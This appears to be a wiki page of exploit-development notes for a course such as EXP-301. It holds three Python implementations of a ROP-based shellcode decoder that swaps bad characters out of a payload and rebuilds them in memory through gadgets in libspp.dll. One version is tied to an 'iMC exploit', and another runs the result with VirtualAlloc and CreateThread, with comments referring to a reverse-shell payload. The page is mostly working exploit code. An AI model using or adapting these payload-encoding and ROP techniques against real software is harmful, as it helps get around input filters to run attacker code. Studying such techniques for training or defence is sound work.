ROP Decoder

Rop Decoder Mk2

import ctypes, struct
from struct import pack
from keystone import *

#only works with breaks in the shellcode while debugging ...
CODE = (
    " start:                             "  #
    "   nop                              ;"
    #"   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
    "   jmp rop                         ;"
    #ROP gadgets
    "   pop eax                         ;"
    "   ret                             ;"
    "   neg eax                         ;"
    "   ret                             ;"
    "   pop ebx                         ;"
    "   ret                             ;"
    "   add eax, edx                    ;"
    "   ret                             ;"
    "   xchg eax, edx                   ;"
    "   ret                             ;"
    "   add byte ptr [edx], bh          ;"
    "   ret                             ;"
    "   pop edx                         ;"
    "   ret                             ;"
    "   mov esi, edx                    ;"
    "   ret                             ;"
    "   int3                            ;"
    "   jmp esi                        ;"
    " rop:                              "
    "   jmp startup                     ;"
    "   getpc:                          "
    "   int3                            ;"
    "   pop esp                         ;"
    "    ret                            ;"
    "   startup:                        ;"
    "   call getpc                      ;" #the %eax register now contains %eip on the next line  
)


def mapBadChars(sh):
    BADCHARS = []
    bad_characters = b"\x00\x0d\x0a\x25\x26\x2b\x3d"

    for b in bad_characters:
        BADCHARS.append(b)
    for x in range(0x80, 256):
        BADCHARS.append(x)

   
    i = 0
    badIndex = []  
    while i < len(sh):
        for c in BADCHARS:
            if sh[i] == c:
                badIndex.append(i)
        i=i+1

    return badIndex, BADCHARS


def encodeShellcode(sh, badchars, badIndex):
    replacechars = {}
    replacevalue = {}

    for b in badIndex:
        s = sh[b]
        i = 0
        while s in badchars or ((-i) & 0xffffffff) in badchars:
            if s > 1:
                s = s - 1
            else:
                s = 255
            i += 1
        replacechars[b] = s
        replacevalue[b] = i


    encodedShell = sh
    for b in replacechars.keys():
        encodedShell = encodedShell.replace(pack("B", sh[b]), pack("B", replacechars[b] ))
    return encodedShell, replacevalue

def decodeShellcode(replacevalue, shellcode, base): 
    #loadOffset
    #tempReg = eax
    #payloadPtr = edx
    #writeReg = ebx


    pop_eax = base + 0x03  # pop eax; ret;  :: libspp.dll 
    neg_eax = base + 0x05 # neg eax; ret;  :: libspp.dll   
    pop_ebx = base + 0x08 # pop ebx; ret;  :: libspp.dll  
    add_eax_edx = base + 0x0a  # add eax, edx; retn 0x0004 
    xchg_eax_edx = base + 0x0d  # xchg eax, edx; ret;  :: libspp.dll  
    add_edx_bh = base + 0x0f
    call_esi = base + 0x17

    
    
     #adds 7 dwords per encoded instruction (optimally)
        #pop tempReg < neg_offset
        #neg tempReg
        #add payloadPtr, tempReg
        #pop writeReg < value_to_add
        #mov [payloadPtr], writeReg
        #popTemp()
        #negTemp()
        #addTemp()
        #popWrite()
        #writeToPtr()
    
    
    
    def popTemp(neg_offset):
        rop = pack("<L", (pop_eax))    # pop ecx ; ret
        rop += pack("<L", (neg_offset))
        return rop
    
    def negTemp():
        rop = pack("<L", (neg_eax)) 
        return rop
    
    def addPtrTemp():
        rop = pack("<L", add_eax_edx)
        rop += pack("<L", xchg_eax_edx)
        return rop
    
    def popWrite(value):
        rop = pack("<L" , (pop_ebx))
        rop += pack("<L", (value))  
        return rop

    def writeToPtr():
        rop = pack("<L", (add_edx_bh))   # add byte ptr [edx], bh ; ret
        return rop

    def loadOffset(restoreRop, neg_offset):
       
        restoreRop += popTemp(neg_offset)
        restoreRop += negTemp()
        restoreRop += addPtrTemp()
        return restoreRop

    def writeAdj(restoreRop, value):
        restoreRop += popWrite(value)
        restoreRop += writeToPtr()
        return restoreRop

    #REPLACECHARS = b"\xff\x0c\x10\x23\x24\x2a\x3c"
    #CHARSTOADD = b"\x01\x01\x01\x02\x02\x01\x01"

    restoreRop = b""
    #calcNegOffset()
    for i in replacevalue.keys():
        if i < len(replacevalue):
            if i == 0:
                offset = badIndex[i]
            else:
                offset = badIndex[i] - badIndex[i-1]
            neg_offset = (-offset) & 0xffffffff
            value = replacevalue[i]

            value = (value << 8) | 0x11110011

            if neg_offset != 0:
                restoreRop = loadOffset(restoreRop, neg_offset)
            restoreRop = writeAdj(restoreRop, value)
        
    #for testing purposes 
    restoreRop += pack("<L", call_esi)
    return restoreRop

def findShellLoc(ropLen, base):
    pop_edx = base + 0x12
    mov_esi_edx = base + 0x14
    shellPosition = pack("<L", (pop_edx))
    shellPosition += pack("<L", base + (ropLen+0xc)) #need to include the instructions were adding here 
    shellPosition += pack("<L", mov_esi_edx)
    return shellPosition

# Initialize engine in X86-32bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
#    print(e)
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

#test rop + windows/shell_reverse_tcp = 2748 bytes
toEncode = b""
#test rop chain from extra mile 2
#toEncode += b"\xb5\x6a\x13\x10\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\xad\x28\x10\x10\x42\x42\x42\x42\x42\x42\x42\x42\xd4\xb4\x0c\x10\x29\xf7\x02\x10\xf0\xcf\xbc\xff\xe6\xa3\x05\x10\x4c\xdc\x14\x10\xf5\xe9\x05\x10\xd0\xa3\xfe\xff\x68\xc1\x14\x10\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x10\x7b\x16\x10\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\xff\xff\xff\xff\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x10\x7b\x16\x10\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x80\xfc\xff\xff\xe6\xa3\x05\x10\xf9\xf9\x03\x10\x4e\xd2\x12\x10\x42\x42\x42\x42\xd4\xb4\x0c\x10\x7a\xdc\x0c\x10\x7a\xdc\x0c\x10\xd4\xb4\x0c\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\x29\xf7\x02\x10\x67\xfb\xff\xff\xe6\xa3\x05\x10\x4e\xd2\x12\x10\xb2\x0e\x15\x10\x42\x42\x42\x42\xb5\x6a\x13\x10\x42\x42\x42\x42\x42\x42\x42\x42\xad\x28\x10\x10\x42\x42\x42\x42\x42\x42\x42\x42\x4e\xd2\x12\x10\x29\xf7\x02\x10\xe8\xff\xff\xff\xf9\xf9\x03\x10\xa9\x94\x13\x10\x42\x42\x42\x42"


badIndex, BADCHARS = mapBadChars(toEncode)
encoded,replacechars = encodeShellcode(toEncode, BADCHARS, badIndex )


ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)+len(encoded)+0x5000),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

ptr = 0x40abbc00 

ropDecoder = decodeShellcode(replacechars, encoded, ptr)

nops =  b"\x90" * 0x30
shellPosition = findShellLoc((len(ropDecoder)+len(shellcode))+len(nops), ptr)


ropDecoder = shellPosition + ropDecoder
print(f"Decoder length {len(ropDecoder)}")
egghunter = ""
i = 0
for dec in ropDecoder: 
    i += 1
    egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n") 
print("egghunter = (\"" + egghunter + "\")")
print(i)

shellcode = shellcode + ropDecoder + nops + encoded


buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))

print("Shellcode located at address %s" % hex(ptr))

base = hex(ptr)




input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))

Modified version for iMC exploit by DS

def mapBadChars(sh):
  BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
  i = 0
  badIndex = []  
  while i < len(sh):
    for c in BADCHARS:
      if sh[i] == c:
        badIndex.append(i)
    i=i+1
  print(badIndex)
  return badIndex

def encodeShellcode(sh):
  BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
  REPLACECHARS = b"\xff\x0c\x10\x23\x24\x2a\x3c"
  encodedShell = sh
  for i in range(len(BADCHARS)):
    encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
  return encodedShell

def decodeShellcode(badIndex, shellcode):
  pop_eax = 0x1002f729  # pop eax; ret;  :: libspp.dll 
  neg_eax = 0x1005a3e6  # neg eax; ret;  :: libspp.dll   
  pop_ebx = 0x10097bfe # pop ebx; ret;  :: libspp.dll  
  add_eax_edx = 0x1003f9f9  # add eax, edx; retn 0x0004 
  xchg_eax_edx = 0x100cb4d4  # xchg eax, edx; ret;  :: libspp.dll  
  
  BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
  CHARSTOADD = b"\x01\x01\x01\x02\x02\x01\x01"
  restoreRop = b""
  for i in range(len(badIndex)):
    if i == 0:
      offset = badIndex[i]
    else:
      offset = badIndex[i] - badIndex[i-1]
    neg_offset = (-offset) & 0xffffffff
    value = 0
    for j in range(len(BADCHARS)):
      if shellcode[badIndex[i]] == BADCHARS[j]:
        value = CHARSTOADD[j]

    value = (value << 8) | 0x11110011
    restoreRop += pack("<L", (pop_eax))    # pop ecx ; ret
    restoreRop += pack("<L", (neg_offset))
    restoreRop += pack("<L", (neg_eax)) # sub eax, ecx ; pop ebx ; ret
    restoreRop += pack("<L", add_eax_edx)
    restoreRop += pack("<L", xchg_eax_edx)
    restoreRop += pack("<L", 0x42424242) #junk for ret 0x04
    restoreRop += pack("<L" , (pop_ebx))
    restoreRop += pack("<L", (value))               # values in BH
    restoreRop += pack("<L", (0x10139ad1))   # add byte ptr [edx], bh ; ret

Original provided in EXP-301

def mapBadChars(sh):
	BADCHARS = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
	i = 0
	badIndex = []
	while i < len(sh):
		for c in BADCHARS:
			if sh[i] == c:
				badIndex.append(i)
		i=i+1
	return badIndex

def encodeShellcode(sh):
	BADCHARS = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
	REPLACECHARS = b"\xff\x10\x06\x07\x08\x05\x1f"
	encodedShell = sh
	for i in range(len(BADCHARS)):
		encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
	return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
	BADCHARS = b"\x00\x09\x0a\x0b\x0c\x0d\x20"
	CHARSTOADD = b"\x01\xf9\x04\x04\x04\x08\x01"
	restoreRop = b""
	for i in range(len(badIndex)):
		if i == 0:
			offset = badIndex[i]
		else:
			offset = badIndex[i] - badIndex[i-1]
		neg_offset = (-offset) & 0xffffffff
		value = 0
		for j in range(len(BADCHARS)):
			if shellcode[badIndex[i]] == BADCHARS[j]:
				value = CHARSTOADD[j]
		value = (value << 8) | 0x11110011

		restoreRop += pack("<L", (dllBase + 0x117c))    # pop ecx ; ret
		restoreRop += pack("<L", (neg_offset))
		restoreRop += pack("<L", (dllBase + 0x4a7b6))	# sub eax, ecx ; pop ebx ; ret
		restoreRop += pack("<L", (value))               # values in BH
		restoreRop += pack("<L", (0x10139ad1))   # add byte ptr [edx], bh ; ret
	return restoreRop

Last updated

Was this helpful?